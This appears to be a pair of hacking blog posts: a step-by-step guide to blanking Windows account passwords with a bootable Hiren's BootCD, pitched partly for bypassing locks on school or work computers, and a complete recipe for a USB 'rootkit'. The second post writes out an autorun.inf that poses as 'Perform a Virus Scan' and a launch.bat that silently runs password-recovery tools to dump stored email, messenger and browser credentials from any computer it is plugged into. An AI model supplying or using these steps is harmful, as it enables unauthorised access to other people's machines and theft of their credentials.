Pages

Showing posts with label HACKING PASSWORDS. Show all posts
Showing posts with label HACKING PASSWORDS. Show all posts

Tuesday, October 7, 2014

HOW TO REMOVE OR RESET ALL WINDOWS PASSWORD

HOW TO REMOVE OR RESET ALL WINDOWS PASSWORDS YOU ASK?? 

Well many of us if not all of us have at one time or another had to face with the really frustrating option of either loosing the admin password or just being on a cmputer where the admin has locked everything with a password and yes that really sucks. 


but now come to think of it if we knew where windows stores its passwords then it would be easy to bypass the password request for loging in to admin whether on a personal computer or on a school,work etc. computer. good thing is we know and so a very genius company called HIREN  CAME UP WITH A BOOTABLE CD that can help you do just that...delete the password file and leave the admin open or iven change it if its on your own computer. i will guide you on a step by step course of how we do that.
you might need
1. RUFUS BOOTABLE FLASH DRIVE MAKER FROM HERE



you definitely need:
1. HIRENS BOOT CD[IMAGE FROM HERE]


Use the rufus software to make a bootable flash drive of the  hirens image if you will not be using it on burned iso disk
Tested on: NT 3.51, NT 4 (all versions and SPs), Windows 2000 (all versions & SPs), Windows XP (all versions, also SP2 and SP3), Windows Server 2003 (all SPs), Windows Vista 32 and 64 bit (SP1 also), Window 7 (all variants). Some also say that it works on Windows Server 2008 too.
If used on users that have EFS encrypted files, and the system is XP or Vista, all encrypted files for that user will be UNREADABLE! and cannot be recovered unless you remember the old password again. If you don't know if you have encrypted files or not, you most likely don't have them (except maybe on corporate systems).

Boot your computer with Hiren's BootCD and follow the steps below for resetting your password:

1. Enter "Offline NT/2000/XP/Vista/7 Password Changer"

With Up & Down keys select Offline 'NT/2000/XP/Vista/7 Password Changer' and press Enter.

2. Wait for "Offline NT Password & Registry Editor" to Load

On the screen below, you'll see is several lines of text that quickly run down the screen. You don't need to do anything here. Wait for "Offline NT Password & Registry Editor" to load.


1. Select "NT/2000/XP/Vista/7 Password Changer"


2. Linux files are loading...

3. Choose the Correct Hard Drive Partition

This step in the Offline NT Password & Registry Editor process is to select the partition that contains the Windows installation that you want to delete a password from.
Many computers have a single operating system installed on a single partition on a single hard drive, making this a very easy choice.
If that's the case for you, just press ENTER to accept the default partition. Otherwise, type the number corresponding to the correct partition from the Candidate Windows partitions found list and then press ENTER.

If more than one partition is listed and you're not sure which one to pick, chances are the larger partition is the one with Windows installed.

Every Windows 7 PC will have more than one partition listed.

4. Confirm the Windows Registry Path

Offline NT Password & Registry Editor now needs to know the exact location of the Windows Registry. Except in the rarest of occasions, the default location will be the correct one.
Just Press ENTER to accept the default Windows Registry path without writing anything else.


3. Choose the Correct Hard Drive Partition


4. Confirm the Windows Registry Path

5. Choose the Password Reset Option

Offline NT Password & Registry Editor is now asking which part of the registry it should load.
Press ENTER to accept the default choice of Password reset.

The Offline NT Password & Registry Editor tool can perform various functions aside from resetting passwords but since that's the focus of this particular walkthrough, that's all we'll discuss.

6. Choose the Edit User Data and Passwords Option

Now that the registry is loaded and available to the program, Offline NT Password & Registry Editor needs to know exactly what you want to do.
Press ENTER to accept the default choice of Edit user data and passwords.
This will load the necessary options for the actual password reset.


5. Choose the Password Reset Option


6. Choose the Edit User Data and Passwords Option

7. Enter the Username to Edit

Offline NT Password & Registry Editor now needs to know which user's password you'd like to delete (erase, clear, blank, remove, call it what you like).
A default user is listed between the brackets at the prompt. In the above example, you can see that it's the Administrator user.
If the default user is the user you'd like to remove the password from, simply press ENTER. Otherwise, enter the username and then press ENTER.

8. Type 1 to Clear (blank) user password and then press ENTER

At the bottom of the screen you'll see the User Edit Menu with several options to choose from.
Type 1 for Clear (blank) user password and then press ENTER.

Offline NT Password & Registry Editor shows some interesting information about the username you entered in the last step - the full name, what groups the user belongs to, how many failed login attempts have taken place, how many total logins have been completed, and more.

If you see a check in the "Passwd not req." box, this means that a password is not a requirement for this particular user. It does not mean that a password is not required to access the account in Windows. In other words, it's saying that it is possible to erase this user's password.


7. Enter the Username to Edit


8. Type 1 to Clear (blank) user password and then press ENTER

9. Type ! to quit the User Edit Tool

Assuming there weren't any problems, you should see a Password cleared! message after entering 1 in the previous step.
Type ! to quit editing user and then press ENTER.

You must confirm these changes in a later step before they are actually complete. If you quit Offline NT Password & Registry Editor now then the password reset will not take place!

10. Type q to Quit Offline NT Password & Registry Editor

Enter q and then press ENTER to quit the Offline NT Password & Registry Editor registry editing tool.
Important: You're still not done! You need to confirm your password reset change in the next step before it will take effect.


9. Type ! to quit the User Edit Tool


10. Type q to Quit Offline NT Password & Registry Editor

11. Type y and then press ENTER to confirm Password Reset Changes

At the Step FOUR: Writing back changes menu, Offline NT Password & Registry Editor asks if you want to write file(s) back.
Type y and then press ENTER.
You should see an EDIT COMPLETE message appear on screen. If you do, it means that Offline NT Password & Registry Editor has written the password changes to your computer!

12. Confirm That You're Finished Using Offline NT Password & Registry Editor

Offline NT Password & Registry Editor gives you an option here to rerun the program. If you've been following along with this guide and everything seems to have worked properly then there's little reason to repeat anything.
Press ENTER to confirm the default option of not rerunning the password reset.


11. Type y and then press ENTER to confirm Password Reset Changes


12. Press ENTER to Confirm That You're Finished Using Offline NT Password & Registry Editor

13. Remove Hiren's BootCD and Restart the Computer

That's it! You've just completed the entire Offline NT Password & Registry Editor password removal process.


13. Remove Hiren's BootCD and Restart the Computer



Note: If you receive a "job control turned off" or a "can't access tty" error, don't worry. As long as the EDIT COMPLETE confirmation message was posted to the screen after you confirmed the password reset changes then your password was successfully reset. You should still be able to see the confirmation on the screen at this point.
Remove Hiren's BootCD from your CD/DVD drive and then manually reset your computer.
In the next step, you'll finally get to logon to Windows without entering a password!
Now that your password has been removed using Offline NT Password & Registry Editor, no password is required to log on to Windows.
If you are the only user on your computer, Windows will boot all the way to the desktop on the next reboot and will skip the logon screen altogether.
If you're on a multi-user computer (as many families are), the logon screen will still appear after starting Windows but when you click on the user that had the password removed, you will not be prompted for a password and will instead enter Windows automatically.
Having a secure password is important so please don't continue to use Windows without one. As soon as you've gained access to your computer again, configure a new password - one you can remember a little easier!

Monday, August 11, 2014

HOW TO HACK PASSWORD USING FLASHDISK ONLY

HOW IS THAT IVEN POSSSIBLE YOU ASK...WELL IT IS!!! 


 

As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox.
There exists many tools for recovering these passswords from their stored places. Using these tools and a USB pen-drive, you can create your own rootkit to sniff passwords from any computer. We need the following tools to create our rootkit:
MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.
Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.
IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 – v6.0
Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more.
PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed:
Record Index, Web Site, User Name, Password, User Name Field and Password Field.

Preparing Your USB Drive for Password Hacking:

Here is a step by step procedure to create the password hacking toolkit:
You must temporarily disable your antivirus before following these steps.
  1. Download all the 5 tools, extract them and copy only the executable files (.exe files) onto your USB Pendrive.
    ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.
  2. Create a new Notepad and write the following text into it:
    [autorun] open=launch.bat
    ACTION= Perform a Virus Scan
    save the Notepad and rename it from New Text Document.txt to autorun.inf. Now copy the autorun.inf file onto your USB pen-drive.
  3. Create another Notepad and write the following text onto it:
    start mspass.exe /stext mspass.txt start mailpv.exe /stext mailpv.txt
    start iepv.exe /stext iepv.txt
    start pspv.exe /stext pspv.txt
    start passwordfox.exe /stext passwordfox.txt
    Save the Notepad and rename it from New Text Document.txt to launch.bat. Copy the launch.bat file to your USB drive.
Now your rootkit is ready and you are all set to sniff the passwords. You can use this pen-drive on on any computer to sniff the stored passwords. Just follow these steps:
    1. Insert the pen-drive and the auto-run window will pop-up. (This is because, we have created an auto-run pen-drive).
    2. In the pop-up window, select the first option (Perform a Virus Scan).
    3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.
    4. Remove the pen-drive and you’ll see the stored passwords in the .TXT files.
This hack works on Windows 2000, XP, Vista and 7.
NOTE: This procedure will only recover the stored passwords (if any) on the Computer.